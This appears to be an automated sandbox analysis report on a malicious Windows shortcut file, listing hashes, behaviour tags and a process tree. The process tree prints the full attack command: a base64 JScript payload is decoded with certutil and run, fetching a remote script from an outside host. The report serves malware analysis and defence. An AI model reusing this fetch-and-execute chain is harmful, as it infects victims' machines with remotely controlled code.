21c008bd8238c5da1f9675f8eb164662ed91432db8fe0a67fcdaa85280377c33

Analysis

max time kernel
37s
max time network
41s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
04/01/2023, 12:16

Target

CRLVDIGITAL2022x_787.55508767.468735.53105.lnk
Size

497B
MD5

e9ac76f6fdf0da6f8d53f7679a13c0ba
SHA1

b0d832dadeb1f6e6053fc14112596fafea7bad85
SHA256

fd714dc8d476489ad14c28718c043f9c15d008ea994cf3c997ea5105815dbb1f
SHA512

a4e75e0bdeedcf5f23bdb861d193c0a98cb32e701ec897ec98ac557beb9729828c8cdd02dc04d1b21910142ae8ba095421ea72bbfe84408093333062166efb2e

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1124 wrote to memory of 472	1124	cmd.exe	28
PID 1124 wrote to memory of 472	1124	cmd.exe	28
PID 1124 wrote to memory of 472	1124	cmd.exe	28

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\CRLVDIGITAL2022x_787.55508767.468735.53105.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1124
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" C:\Windows\system32\cmd.exe /V/D/c "MD C:obLBL6\>nul&&s^eT PFOC=C:obLBL6\^EobLBL6&&echo dmFyIENPcmk9InNjIisiciI7RE9yaT0iaXAiKyJ0OmgiO0VPcmk9IlQiKyJ0UCIrIjoiO0dldE9iamVjdChDT3JpK0RPcmkrRU9yaSsiLy80d2VlZWguZGtnaXJ0YWJjdnB3aGdoZGsuaG9tZXMvPzEvIik7>!PFOC!.^Js&&certutil -f -decode !PFOC!.^Js !PFOC!.^Js&&CMD /c !PFOC!.^Js"
  2⤵
  PID:472

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/1124-54-0x000007FEFBD71000-0x000007FEFBD73000-memory.dmp

Filesize
8KB

Download